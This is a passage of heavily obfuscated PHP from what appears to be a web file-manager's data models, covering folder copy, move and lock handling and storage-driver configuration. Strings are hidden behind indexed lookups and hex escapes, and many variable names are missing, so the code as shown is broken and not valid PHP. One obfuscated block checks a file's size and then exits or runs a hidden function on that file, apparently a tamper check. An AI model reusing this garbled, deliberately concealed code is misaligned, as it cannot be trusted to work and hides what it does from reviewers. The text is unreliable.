$Ľ[1647], 0)); if (time() - $͏Ģ > 7200) { Task::kill($ޙ[$Ľ[401]]); $Ӛ = !0; $ޙ = !1; } } } return $̡; } public function restore() { $ =& $_SERVER[]; ActionCall($[1047], !0, 1); ActionCall($[1047], !0, 0); } } goto D; fŤÍ: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($专ϝ) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[549], $专ϝ); $Կ = 1; $this->_lockEvent($专ϝ, array($[550], $[551]), $Կ); $this->_lockParent($专ϝ, array($[551]), $Կ); $this->_lockEvent($专ϝ, array($[552], $[553]), $Կ); $this->_lockCheckEnd($[549], $专ϝ); } public function lockCopyEnd($ޣ) { $〟 =& $_SERVER[]; if (!$this->allowLock()) { return; } $դ = 0; $this->_lockEvent($ޣ, array($〟[550], $〟[551]), $դ); $this->_lockParent($ޣ, array($〟[551]), $դ); $this->_lockEvent($ޣ, array($〟[552], $〟[553]), $դ); } public function lockWriteStart($Ω, $Ǹ = '') { $콧 =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($콧[550], $Ω); $ڃ = 1; $this->_lockKey($콧[554] . $Ω . $콧[10] . $Ǹ, $ڃ); $this->_lockEvent($Ω, array($콧[549], $콧[551]), $ڃ); $this->_lockParent($Ω, array($콧[549], $콧[551]), $ڃ); $this->_lockCheckEnd($콧[550], $Ω); } public function lockWriteEnd($, $݋ = '') { $ڹŒ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($ڹŒ[554] . $ . $ڹŒ[10] . $݋, $); $this->_lockEvent($, array($ڹŒ[549], $ڹŒ[551]), $); $this->_lockParent($, array($ڹŒ[549], $ڹŒ[551]), $); } public function lockMoveStart($成) { $⟠ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($⟠[551], $成); $ = 1; $this->_lockKey($⟠[555] . $成, $); $this->_lockEvent($成, array($⟠[549], $⟠[550]), $); $this->_lockParent($成, array($⟠[549], $⟠[551]), $); $this->_lockEvent($成, array($⟠[556], $⟠[552], $⟠[553]), $); $this->_lockCheckEnd($⟠[551], $成); } public function lockMoveEnd($Ώ) { $ϛ =& $_SERVER[]; if (!$this->allowLock()) { return; } $Χ = 0; $this->_lockKey($ϛ[555] . $Ώ, $Χ); $this->_lockEvent($Ώ, array($ϛ[549], $ϛ[550]), $Χ); $this->_lockParent($Ώ, array($ϛ[549], $ϛ[551]), $Χ); $this->_lockEvent($Ώ, array($ϛ[556], $ϛ[552], $ϛ[553]), $Χ); } private function _lockCheck($҃, $) { $˟ =& $_SERVER[]; $Ī = $this->sourceInfo($); $׸ = $҃ . $˟[10] . $; $this->_lockTimeStart[$׸] = timeFloat(); if (!is_array($Ī)) { return; } $Ϊ = LNG($˟[557]); CacheLock::setErrorMsg($˟[159] . htmlspecialchars($Ī[$˟[32]]) . $˟[536] . $Ϊ); $this->_lockKey($׸, 1); $this->_lockKey($׸, 0); $ӌ = array_reverse($this->parentLevelArray($Ī[$˟[521]])); foreach ($ӌ as $̻) { $׸ = $҃ . $˟[558] . $̻; if (CacheLock::lockGet($˟[559] . $׸)) { $Ī = $this->sourceInfo($̻); CacheLock::setErrorMsg($˟[159] . htmlspecialchars($Ī[$˟[32]]) . $˟[536] . $Ϊ); $this->_lockKey($׸, 1); $this->_lockKey($׸, 0); } } } private function _lockCheckEnd($ܕǺ, $Դ) { $䘝 =& $_SERVER[]; $ = $ܕǺ . $䘝[10] . $Դ; CacheLock::setErrorMsg($䘝[373]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$䘝[458] . $Դ]); } $ޯ = $this->sourceInfo($Դ); if (!$ޯ) { show_json(LNG($䘝[106]), !1); } } private function _lockParent($۝, $, $Վȗ) { if (!$this->autoLockSet) { return; } $ = $this->sourceInfo($۝); if (!is_array($)) { return; } $ = array_reverse($this->parentLevelArray($[$_SERVER[][521]])); foreach ($ as $) { $this->_lockEvent($, $, $Վȗ); } } private function _lockEvent($, $, $) { $ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($ as $) { $ = $ . $[10] . $; if ($ && CacheLock::lockGet($[559] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $택 = $_SERVER[][559] . md5($); if ($) { if (isset(self::$_lockItemArr[$택])) { return; } self::$_lockItemArr[$택] = 1; CacheLock::lock($택, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$택])) { return; } unset(self::$_lockItemArr[$택]); CacheLock::unlock($택); } } public function isParentOf($х, $ж) { $ =& $_SERVER[]; $˧ = $this->sourceInfo($х); $ = $this->sourceInfo($ж); $ڔ = $˧[$[521]] . $˧[$[403]] . $[50]; $¡ = $[$[521]] . $[$[403]] . $[50]; $ = strpos($¡, $ڔ) === 0; return $; } private $targetIsDelete = 0; public function copy($֌, $ߣ, $ɓ = REPEAT_REPLACE, $ΰ = '') { $ =& $_SERVER[]; $ٹָ = $this->sourceInfo($֌); $҉ = $this->sourceInfo($ߣ); if (!$ٹָ || !$҉ || $҉[$[411]] != $[89]) { return !1; } if ($this->isParentOf($֌, $ߣ)) { return !1; } $ۓ = $ΰ ? $ΰ : $ٹָ[$[32]]; $this->lockCopyStart($֌); $this->lockWriteStart($ߣ, $ۓ); $ݒ = array($[560] => array(), $[561] => array(), $[562] => array()); $this->targetIsDelete = intval($ٹָ[$[431]]); $ۊ = $this->fileNameExistCache($ߣ, $ٹָ[$[32]]); $ = $this->_copy($֌, $ߣ, $ɓ, $ݒ, !0, $ΰ); $this->_childrenListClear(); $this->lockCopyEnd($֌); $this->lockWriteEnd($ߣ, $ۓ); if ($ٹָ[$[411]] == $[89] && $ۊ == $) { $this->folderSizeResetChildren($ۊ); } Model($[563])->addAll($ݒ[$[561]], array(), !0); if ($ۊ != $ || $ٹָ[$[411]] == $[89]) { Model($[564])->eventCopy($); } $this->saveAll($ݒ[$[562]]); Model($[192])->linkAdd($ݒ[$[560]]); $this->folderSizeReset($ߣ); $this->updateModifyTime($ߣ); return $; } private function _copy($õ, $Ѕ, $Ӵ, &$ς, $, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfoCache($õ); $ʷٜ = $[$[411]] == $[89]; $ = $ ? $ : $[$[32]]; $뙕 = $this->fileNameExistCache($Ѕ, $); if ($) { $this->_childrenAllMake($õ); if ($ʷٜ && $뙕) { $this->_childrenAllMake($뙕); } } if (!$뙕) { return $this->_copyCreate($õ, $Ѕ, $, $ς); } $٦ = $뙕; if ($ʷٜ) { if ($Ӵ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($Ѕ, $, $Ӵ, $ʷٜ); $٦ = $this->_copyCreate($õ, $Ѕ, $, $ς); } else { $ = $this->_childrenList($õ); foreach ($ as $ڴ) { $this->_copy($ڴ[$[403]], $뙕, $Ӵ, $ς, !1); } } } else { if ($Ӵ == REPEAT_RENAME || $Ӵ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($Ѕ, $, $Ӵ, $ʷٜ); $٦ = $this->_copyCreate($õ, $Ѕ, $, $ς); } else { if ($Ӵ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($뙕); $֗ = $this->fileHistory($, $[$[467]], $[$[80]]); if ($֗) { $ς[$[560]][] = $[$[467]]; } } else { if ($Ӵ == REPEAT_SKIP) { } } } Hook::trigger($[565], array($[566], $, 0)); } return $٦; } private function _copyCreate($ŕƗ, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($ŕƗ); $ = $this->sourceInfoCache($); $׀Օ = $this->_makeItemData($, $, $); Hook::trigger($[567], $׀Օ); Hook::trigger($[568], array($[569], $׀Օ, 0)); $ν糭 = $this->add($׀Օ); $ = array($[403] => $ν糭, $[32] => $); $this->_copyApplyMeta($, $); if ($[$[411]] != $[89]) { $[$[560]][] = $[$[467]]; return $ν糭; } $ = array(); $í = array(); $this->_childrenListAll($ŕƗ, $); $̄ܿ = count($); if ($̄ܿ == 0) { return $ν糭; } $Ԗ = $this->sourceInfo($ν糭); foreach ($ as $) { $ = $this->_makeItemData($, $Ԗ, $[$[32]]); $[$[521]] = $[$[521]]; $í[] = $; } $this->chunkEventSet($[570], array($[571], $׀Օ, $̄ܿ)); $this->addAll($í, array(), !1); $ = $this->where(array($[498] => $ν糭))->select(); $ = $this->_childrenMakeRelation($, $); $[$ŕƗ] = $ν糭; $Ш = array(); $ = array(); foreach ($ as $) { $ = $[$[403]]; $ڿ = $this->_childrenMatch($, $, $Ԗ); $Ш[] = array($[403], $, $[498], $ڿ[$[498]]); $[] = array($[403], $, $[521], $ڿ[$[521]]); $this->_copyApplyMeta($, $); if ($[$[411]] != $[89]) { $[$[560]][] = $[$[467]]; } } $this->chunkEventSet($[572], array($[573], $׀Օ, $̄ܿ)); $this->saveAll($Ш); $this->chunkEventSet($[574], array($[575], $׀Օ, $̄ܿ)); $this->saveAll($); return $ν糭; } private function _childrenMakeRelation($, $) { $ =& $_SERVER[]; $ = array(); $ܲ = array(); foreach ($ as $̼) { $ۅ = $̼[$[32]] . $[8] . $̼[$[521]]; $[$ۅ] = $̼[$[403]]; } foreach ($ as $̼) { $ۅ = $̼[$[32]] . $[8] . $̼[$[521]]; $͸ = $[$ۅ]; $ܲ[$͸] = $̼[$[403]]; } return $ܲ; } private function _childrenMatch($Ϝ, $Ĺ, $) { $ϰ蹥 =& $_SERVER[]; $ۘ = $[$ϰ蹥[521]]; $Ρ = $this->parentLevelArray($Ĺ[$ϰ蹥[521]]); foreach ($Ρ as $߇) { if (isset($Ϝ[$߇])) { $ۘ .= $Ϝ[$߇] . $ϰ蹥[576]; } } $ۘ = rtrim($ۘ, $ϰ蹥[50]) . $ϰ蹥[50]; $ = $this->parentLevelArray($ۘ); $ = $[count($) - 1]; return array($ϰ蹥[498] => $, $ϰ蹥[521] => $ۘ); } private function _makeItemData($̥, $, $堠) { $Ԡ =& $_SERVER[]; $廮 = array($Ԡ[577] => $̥[$Ԡ[411]], $Ԡ[421] => $堠, $Ԡ[578] => $̥[$Ԡ[413]] ? $̥[$Ԡ[413]] : $Ԡ[12], $Ԡ[468] => $̥[$Ԡ[467]] ? $̥[$Ԡ[467]] : 0, $Ԡ[579] => $̥[$Ԡ[80]] ? $̥[$Ԡ[80]] : 0, $Ԡ[580] => intval($[$Ԡ[412]]), $Ԡ[581] => intval($[$Ԡ[504]]), $Ԡ[582] => intval(USER_ID), $Ԡ[583] => intval(USER_ID), $Ԡ[402] => intval($[$Ԡ[403]]), $Ԡ[584] => $[$Ԡ[521]] . $[$Ԡ[403]] . $Ԡ[50], $Ԡ[425] => $̥[$Ԡ[86]] ? $̥[$Ԡ[86]] : time(), $Ԡ[430] => 0, $Ԡ[585] => $Ԡ[12]); return $廮; } private function _copyApplyMeta($Զ, &$ˎՆ֖) { $ڙ =& $_SERVER[]; $ި = $Զ[$ڙ[403]]; $ϕٚ = $Զ[$ڙ[32]]; if (!isset($Զ[$ڙ[586]]) || !$Զ[$ڙ[586]] || $Զ[$ڙ[586]] == $ڙ[190]) { $ˎՆ֖[$ڙ[562]][] = array($ڙ[403], $ި, $ڙ[586], short_id($ި)); } if (Input::check($ϕٚ, $ڙ[587])) { $ˎՆ֖[$ڙ[561]][] = array($ڙ[403] => $ި, $ڙ[95] => $ڙ[464], $ڙ[369] => str_replace($ڙ[53], $ڙ[12], Pinyin::get($ϕٚ))); $ˎՆ֖[$ڙ[561]][] = array($ڙ[403] => $ި, $ڙ[95] => $ڙ[463], $ڙ[369] => Pinyin::get($ϕٚ, $ڙ[588])); } $ˎՆ֖[$ڙ[561]][] = array($ڙ[403] => $ި, $ڙ[95] => $ڙ[442], $ڙ[369] => KodSort::makeStr($ϕٚ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ְ =& $_SERVER[]; $ꇨ = $this->sourceInfo($); $ = $ְ[589]; $ѧջ = array($ְ[521] => array($ְ[544], $ꇨ[$ְ[521]] . $ . $ְ[545]), $ְ[431] => $this->targetIsDelete); $ќ = $this->field($)->where($ѧջ)->select(); if (!$ќ) { return; } $ќ = array_to_keyvalue($ќ, $ְ[403]); foreach ($ќ as $׳) { $ڝ = $׳[$ְ[498]]; $ = $׳[$ְ[403]]; if (!isset($this->_childrenListCache[$]) && $׳[$ְ[411]] == $ְ[89]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$ڝ])) { $this->_childrenListCache[$ڝ] = array(); } $this->_childrenListCache[$ڝ][$] = $׳; $this->_childrenItemCache[$] = $׳; } } private function _childrenListAll($, &$LJݖ) { $ӷހ =& $_SERVER[]; if (!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $ => $ﭣ) { $LJݖ[$] = $ﭣ; if ($ﭣ[$ӷހ[411]] == $ӷހ[89]) { $this->_childrenListAll($, $LJݖ); } } } private function sourceInfoCache($ˊ) { if (isset($this->_childrenItemCache[$ˊ])) { return $this->_childrenItemCache[$ˊ]; } return $this->sourceInfo($ˊ); } private function _childrenList($Ŀ܁) { if (isset($this->_childrenListCache[$Ŀ܁])) { return $this->_childrenListCache[$Ŀ܁]; } return $this->_childrenListSelect($Ŀ܁); } private function _childrenListSelect($Ϣ) { $ =& $_SERVER[]; $ = array($[498] => $Ϣ, $[431] => $this->targetIsDelete); $́ = $this->where($)->select(); $́ = $́ ? $́ : array(); $ň = array_to_keyvalue($́, $[403]); $this->_childrenListCache[$Ϣ] = $ň; foreach ($ň as $Ϣ => $ɬ) { $this->_childrenItemCache[$Ϣ] = $ɬ; } return $ň; } private function fileNameExistCache($, $) { $ =& $_SERVER[]; $ = strtolower($); $ = $this->_childrenList($); foreach ($ as $ǐ) { if ($ == strtolower($ǐ[$[32]])) { return $ǐ[$[403]]; } } return !1; } private function fileNameAutoCache($, $ɗ؆, $Я, $Dž) { $ =& $_SERVER[]; $İġ = $this->_childrenList($); $骴 = array_to_keyvalue($İġ, $[12], $[32]); return $this->fileNameAutoGet($骴, $ɗ؆, $Я, $Dž); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $ɽ, $Ӗ = REPEAT_REPLACE, $ = '') { $њ =& $_SERVER[]; $ = $this->sourceInfo($); $ٙù = $this->sourceInfo($ɽ); if ($[$њ[498]] == $ٙù[$њ[403]]) { if ($[$њ[431]] == $њ[89]) { Model($њ[429])->restore(array($)); } if (!$ || $ == $[$њ[32]]) { return $; } } $ = $this->pathInfoMore($); if ($this->isParentOf($, $ɽ)) { return !1; } if (!$ || !$ٙù || $ٙù[$њ[411]] != $њ[89]) { return !1; } Hook::trigger($њ[590], $); $this->targetIsDelete = intval($[$њ[431]]); if ($[$њ[498]] == $ɽ && $ != $[$њ[32]]) { $ = $this->fileNameExist($ɽ, $); if ($ && $[$њ[411]] == $њ[190]) { $馗 = $this->sourceInfo($); $휎 = $this->fileHistory($馗, $[$њ[467]], $[$њ[80]]); if (!$휎) { Model($њ[470])->remove($[$њ[467]]); } $this->removeNow($, !1); $this->folderSizeReset($ɽ); Hook::trigger($њ[591], $); return $; } } $ = $ ? $ : $[$њ[32]]; $this->lockMoveStart($); $this->lockWriteStart($ɽ, $); $ = array($њ[560] => array(), $њ[592] => !1); $this->clearShare($, $ɽ); $ = $this->fileNameExistCache($ɽ, $[$њ[32]]); $ = $this->_move($, $ɽ, $Ӗ, $, $); $this->sourceCacheClear(); if ($[$њ[411]] == $њ[89] && $) { $this->folderSizeResetChildren($); } Model($њ[192])->linkAdd($[$њ[560]]); if ($ && $[$њ[592]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($ɽ, $); $this->folderSizeReset($[$њ[498]]); $this->folderSizeReset($ɽ); $ݡ = array($[$њ[498]], $ɽ); if ($[$њ[411]] == $њ[89]) { $ݡ[] = $; } $this->updateModifyTime($ݡ); Model($њ[564])->eventMove($, $[$њ[498]], $ɽ); Hook::trigger($њ[591], $); return $; } private function _move($‚, $Ѝ, $Զ, &$ݚ, $ȝՆ = '') { $ٗ =& $_SERVER[]; $՘ = $this->sourceInfo($‚); $̆ = $՘[$ٗ[411]] == $ٗ[89]; $활 = $ȝՆ ? $ȝՆ : $՘[$ٗ[32]]; $ = $this->fileNameExistCache($Ѝ, $활); $this->lockMoveStart($‚); $this->lockWriteStart($Ѝ, $활); if (!$) { return $this->_moveForce($‚, $Ѝ, $활); } $蟁 = $; $㖐 = !1; if ($̆) { if ($Զ == REPEAT_RENAME_FOLDER) { $활 = $this->fileNameAuto($Ѝ, $활, $Զ, $̆); $蟁 = $this->_moveForce($‚, $Ѝ, $활); } else { if ($Զ == REPEAT_RENAME_FOLDER) { $Զ = REPEAT_RENAME; } $ǟ = $this->_childrenListSelect($‚); foreach ($ǟ as $) { $this->_move($[$ٗ[403]], $, $Զ, $ݚ); } $㖐 = !0; } } else { if ($Զ == REPEAT_SKIP) { $㖐 = !0; } else { if ($Զ == REPEAT_RENAME || $Զ == REPEAT_RENAME_FOLDER) { $활 = $this->fileNameAuto($Ѝ, $활, $Զ, $̆); $蟁 = $this->_moveForce($‚, $Ѝ, $활); } else { if ($Զ == REPEAT_REPLACE) { $Č = $this->sourceInfoCache($); $IJ = $this->fileHistory($Č, $՘[$ٗ[467]], $՘[$ٗ[80]]); $㖐 = !0; if ($IJ) { $ݚ[$ٗ[560]][] = $՘[$ٗ[467]]; } } } } } if ($㖐 && !$ݚ[$ٗ[592]]) { $ݚ[$ٗ[592]] = !0; } return $蟁; } private function _moveForce($, $ع, $у) { $в =& $_SERVER[]; $ = $this->sourceInfo($); $֦ = $this->sourceInfo($ع); $ó = $[$в[411]] == $в[89]; $˄ = array($в[402] => $֦[$в[403]], $в[584] => $֦[$в[521]] . $֦[$в[403]] . $в[50], $в[580] => $֦[$в[412]], $в[581] => $֦[$в[504]], $в[583] => USER_ID, $в[421] => $у); $ֶ = $[$в[412]] == SourceModel::TYPE_GROUP && $֦[$в[412]] == SourceModel::TYPE_GROUP && $[$в[504]] == $֦[$в[504]]; if (!$ֶ && $this->moveClearAuth) { Model($в[502])->authClear($); } $ = $[$в[431]] == $в[89] && $֦[$в[431]] != $в[89]; if ($) { $˄[$в[430]] = 0; } if ($ó) { $Ȏ = array($в[584] => array($в[544], $[$в[521]] . $[$в[403]] . $в[545])); $Ǔ = $[$в[521]] . $[$в[403]] . $в[50]; $ = $֦[$в[521]] . $֦[$в[403]] . $в[50] . $[$в[403]] . $в[50]; $巸 = array($в[584] => array($в[593], "\x72\x65\x70\x6c\141\143\145\x28\x70\x61\x72\x65\156\164\x4c\x65\x76\x65\x6c\x2c\x27{$Ǔ}\47\x2c\x27{$}\x27\51"), $в[580] => $֦[$в[412]], $в[581] => $֦[$в[504]]); if ($) { $巸[$в[430]] = 0; } $this->where($Ȏ)->data($巸)->save(); } $this->where(array($в[418] => $))->data($˄)->save(); return $; } private function clearShare($, $Ż) { $ҝ =& $_SERVER[]; $Ѯ = $this->sourceInfo($); $ئ㮇 = $this->sourceInfo($Ż); if ($Ѯ[$ҝ[504]] == $ئ㮇[$ҝ[504]] && $Ѯ[$ҝ[412]] == $ҝ[594]) { return; } $ = array($ҝ[521] => array($ҝ[544], $Ѯ[$ҝ[521]] . $ . $ҝ[545])); $ۣ = $this->field($ҝ[418])->where($)->getField($ҝ[403], !0); if (!$ۣ) { return; } $ = array($ҝ[403] => array($ҝ[7], $ۣ), $ҝ[495] => 1); $⹃ = Model($ҝ[595])->field($ҝ[488])->where($)->select(); if (!$⹃) { return; } $⹃ = array_to_keyvalue($⹃, $ҝ[12], $ҝ[488]); $ = array($ҝ[488] => array($ҝ[7], $⹃)); Model($ҝ[595])->where($)->save(array($ҝ[495] => 0)); Model($ҝ[596])->where($)->delete(); } public function copyFolderFromIO($, $ܝ, $ȸ, $, $, $ɮ = false) { $ =& $_SERVER[]; $į = array($[561] => array(), $[562] => array(), $[560] => array(), $[597] => array()); $Ƈ = $ɮ ? $ɮ : $->pathThis($ܝ); $ = $this->fileNameExist($ȸ, $Ƈ); $ = $this->mkdir($ȸ, $Ƈ, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[598]); $this->_copyChildTo($, $ܝ, $, $, $į, $); Hook::trigger($[599]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($[563])->addAll($į[$[561]], array(), !0); Model($[564])->eventCopy($); $this->saveAll($į[$[562]]); Model($[470])->linkAdd($į[$[560]]); Model($[470])->remove($į[$[597]]); $this->folderSizeReset($ȸ); $this->updateModifyTime($ȸ); return $; } private function _copyChildTo($ʝ, $ɦ, $, $ר, &$ː, $߀) { $ =& $_SERVER[]; $ڷ = $this->sourceInfoCache($); $ = $ʝ->listPath($ɦ); $ = $ ? $ : array($[76] => array(), $[77] => array()); $˄ݐ = array_merge($[$[76]], $[$[77]]); $Ԡ = $this->_addFiles($ʝ, $[$[76]], $߀); $ = array(); foreach ($˄ݐ as &$Ӧ) { if (isset($Ԡ[$Ӧ[$[32]]])) { $Ӧ = $Ԡ[$Ӧ[$[32]]]; } $Ӧ[$[411]] = $Ӧ[$[33]] == $[79]; $Ӧ[$[413]] = _get($Ӧ, $[167], $[12]); $Ӧ[$[80]] = _get($Ӧ, $[80], 0); $Ӧ[$[467]] = _get($Ӧ, $[467], 0); if (!isset($Ӧ[$[600]]) && $Ӧ[$[467]]) { $ː[$[597]][] = $Ӧ[$[467]]; } if ($ר) { $’ޖ = $this->fileNameExistCache($, $Ӧ[$[32]]); if ($’ޖ) { if ($Ӧ[$[411]] || $ר == REPEAT_SKIP) { continue; } if ($ר == REPEAT_REPLACE) { $ = $this->sourceInfoCache($’ޖ); $ΐ = $this->fileHistory($, $Ӧ[$[467]], $Ӧ[$[80]]); if ($ΐ) { $ː[$[560]][] = $Ӧ[$[467]]; } continue; } else { if ($ר == REPEAT_RENAME) { $Ӧ[$[32]] = $this->fileNameAutoCache($, $Ӧ[$[32]], $ר, !1); } } } } if (!$Ӧ[$[411]] && $Ӧ[$[467]] == 0) { continue; } if (!$Ӧ[$[411]] && $Ӧ[$[467]]) { $ː[$[560]][] = $Ӧ[$[467]]; } $[] = $this->_makeItemData($Ӧ, $ڷ, $Ӧ[$[32]]); } unset($Ӧ); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($); } $ܬ = $this->_childrenList($); $ܬ = array_to_keyvalue($ܬ, $[32]); foreach ($˄ݐ as $Ӧ) { $ = $ܬ[$Ӧ[$[32]]]; $õ = $[$[403]]; $this->_copyApplyMeta($, $ː); if ($Ӧ[$[33]] == $[79]) { $Ӧ[$[78]] = $ʝ->getPathInner($Ӧ[$[78]]); $this->_copyChildTo($ʝ, $Ӧ[$[78]], $õ, $ר, $ː, $߀); } } } private function _addFiles($ܜڀ, $߄, $) { $Ҵ =& $_SERVER[]; if (!$߄ || count($߄) == 0) { return array(); } $ = array(); foreach ($߄ as &$) { Hook::trigger($Ҵ[601], $); $[$Ҵ[78]] = $ܜڀ->getPathInner($[$Ҵ[78]]); $ޫ = $ܜڀ->hashSimple($[$Ҵ[78]]); $ = $ܜڀ->hashMd5($[$Ҵ[78]]); if (strlen($) > 10 && !isset($[$])) { $[$] = array(); } $[$Ҵ[170]] = $ޫ; $[$Ҵ[169]] = $; Hook::trigger($Ҵ[602], $); $[$][] =& $; if (count($[$]) > 1) { $[$Ҵ[600]] = !0; } } unset($); $܉ = array($Ҵ[169] => array($Ҵ[7], array_keys($))); $ = Model($Ҵ[603]); $ = $->where($܉)->select(); $ = $ ? $ : array(); foreach ($ as $ʾ) { if (!isset($[$ʾ[$Ҵ[169]]])) { continue; } $ = $[$ʾ[$Ҵ[169]]]; foreach ($ as &$) { $[$Ҵ[467]] = $ʾ[$Ҵ[467]]; $[$Ҵ[600]] = !0; } unset($); } $̚ = array(); foreach ($߄ as $ٍ) { if (isset($ٍ[$Ҵ[600]]) && $ٍ[$Ҵ[600]]) { continue; } $٥ = $ܜڀ->getPathInner($ٍ[$Ҵ[78]]); $߻ = $->addFileMake($٥, $ٍ[$Ҵ[80]], $ٍ[$Ҵ[170]], $ٍ[$Ҵ[169]], $ٍ[$Ҵ[32]], $); if (!is_array($߻)) { continue; } $̚[] = $߻; } $->addAll($̚); $܉ = array($Ҵ[169] => array($Ҵ[7], array_keys($))); $ = $->where($܉)->select(); $ = $ ? $ : array(); foreach ($ as $ʾ) { if (!isset($[$ʾ[$Ҵ[169]]])) { continue; } $ =& $[$ʾ[$Ҵ[169]]]; foreach ($ as &$) { $[$Ҵ[467]] = $ʾ[$Ҵ[467]]; } unset($); } $ = array(); foreach ($߄ as $) { $[$[$Ҵ[32]]] = $; } return $; } } define($_SERVER[][604], $_SERVER[][605]); $ibtuezfqxr = $_SERVER[][606]; goto c; eӂ: $_file = $_SERVER[$_SERVER[][397]]; $_size = $_SERVER[][1568]; if ($_SERVER[$_SERVER[][389]] != $_size($_file)) { $_getc = $_SERVER[][391]; $_getfile = $_SERVER[$_SERVER[][392]] . $_SERVER[][393]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][226], $_getfilec); if (count($_getarrs) < $_SERVER[][394]) { $exit = $_SERVER[][395]; $exit(); } $_act = $_SERVER[][396]; $_act($_file); } goto D׍; Aڐ: class StorageModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\x65\x6d\x2e\163\164\157\x72\141\147\145\x4c\151\163\x74"; public $field = array("\156\x61\x6d\145", "\x73\x69\172\x65\x4d\x61\x78", "\163\171\x73\164\145\155", "\x64\x65\x66\141\x75\x6c\164", "\x64\162\151\x76\x65\162", "\143\x6f\156\x66\151\147"); public function listData($ = false, $Ԛ = "\155\x6f\x64\151\x66\171\x54\x69\x6d\145", $࠲ = false) { $߹ =& $_SERVER[]; $ʻް = parent::listData($, $Ԛ, $࠲); if ($) { return $ʻް; } $ؒ = $this->ioSizeUseGet(array_to_keyvalue($ʻް, $߹[12], $߹[401])); foreach ($ʻް as $ɕ => $) { unset($ʻް[$ɕ][$߹[6]]); $ʻް[$ɕ][$߹[1799]] = isset($ؒ[$[$߹[401]]]) ? $ؒ[$[$߹[401]]] : 0; } return $ʻް; } public function ioSizeUseGet($ۇ) { $Υ =& $_SERVER[]; if (!$ۇ) { return array(); } $ = $Υ[2113] . implode($Υ[50], $ۇ); $߯ = Cache::get($); if ($߯) { return $߯; } $ = array($Υ[810] => $Υ[401], $Υ[2114] => $Υ[80]); $ݽ = array($Υ[810] => array($Υ[7], $ۇ)); $߯ = Model($Υ[782])->field($)->where($ݽ)->group($Υ[810])->select(); $߯ = array_to_keyvalue($߯, $Υ[401], $Υ[80]); Cache::set($, $߯, 600); return $߯; } public function getConfig($߲) { $ = parent::listData($߲); return json_decode($[$_SERVER[][6]], !0); } public function update($, $) { $ =& $_SERVER[]; $ = $[$[32]]; $끎 = array_to_keyvalue(parent::listData(), $[32]); if (isset($끎[$]) && $끎[$][$[401]] != $) { return !1; } if (isset($[$[2115]]) && $[$[2115]] == $[89]) { $this->checkConfig($); } unset($[$[2115]]); $ = parent::update($, $); if ($ && $[$[37]]) { foreach ($끎 as $Ľ) { if ($Ľ[$[37]] && $Ľ[$[401]] != $) { parent::update($Ľ[$[401]], array($[37] => 0)); } } } return $; } public function add($ޛ) { $粬 =& $_SERVER[]; $畟 = array_to_keyvalue(parent::listData(), $粬[32]); if (isset($畟[$ޛ[$粬[32]]])) { return !1; } $this->checkConfig($ޛ); $ꄪ҉ = parent::insert($ޛ); if ($ꄪ҉ && $ޛ[$粬[37]]) { foreach ($畟 as $ӫ) { if ($ӫ[$粬[37]]) { parent::update($ӫ[$粬[401]], array($粬[37] => 0)); } } } return $ꄪ҉; } public function checkConfig(&$, $濪 = false) { $øܿ =& $_SERVER[]; $؝ = strtolower($[$øܿ[96]]); $Ʈ = json_decode($[$øܿ[6]], !0); foreach ($Ʈ as $ا => $) { $Ʈ[$ا] = trim($); } $Ʈ[$øܿ[2116]] = rand_string(6); $ؒ = $GLOBALS[$øܿ[6]][$øܿ[90]][$øܿ[819]]; $㾉 = isset($ؒ[$؝]) ? $ؒ[$؝] : ucfirst($؝); $ = $øܿ[74] . $㾉; if (!$㾉 || !class_exists($)) { if ($濪) { return LNG($øܿ[2117]); } write_log(array($øܿ[2118], $, get_caller_info()), $øܿ[2119]); show_json(LNG($øܿ[2117]), !1, $); } $ځ = new $($Ʈ); if (in_array($؝, $ځ->objectDriver)) { if (!$ځ->isBucketCors() && !$ځ->setBucketCors()) { $ = LNG($øܿ[2120]); $ .= $øܿ[2121] . LNG($øܿ[2122]); if ($濪) { return $; } show_json($, !1); } } $ű = rtrim($Ʈ[$øܿ[1166]], $øܿ[8]) . $øܿ[8]; $ݢ = $ځ->getPath($ű . $øܿ[1228]); if (!$ځ->mkfile($ݢ)) { if ($濪) { return LNG($øܿ[2120]); } show_json(LNG($øܿ[2120]), !1); } $Ʈ[$øܿ[1166]] = $ű; $[$øܿ[6]] = json_encode($Ʈ); $[$øܿ[96]] = $㾉; return !0; } public function driverListSystem() { $̴ =& $_SERVER[]; $Л = parent::listData(); $ = array(); foreach ($Л as $Ƙ) { unset($Ƙ[$̴[193]], $Ƙ[$̴[86]]); $Ƙ[$̴[6]] = json_decode($Ƙ[$̴[6]], !0); $[] = $Ƙ; } return $; } public function defaultDriver() { 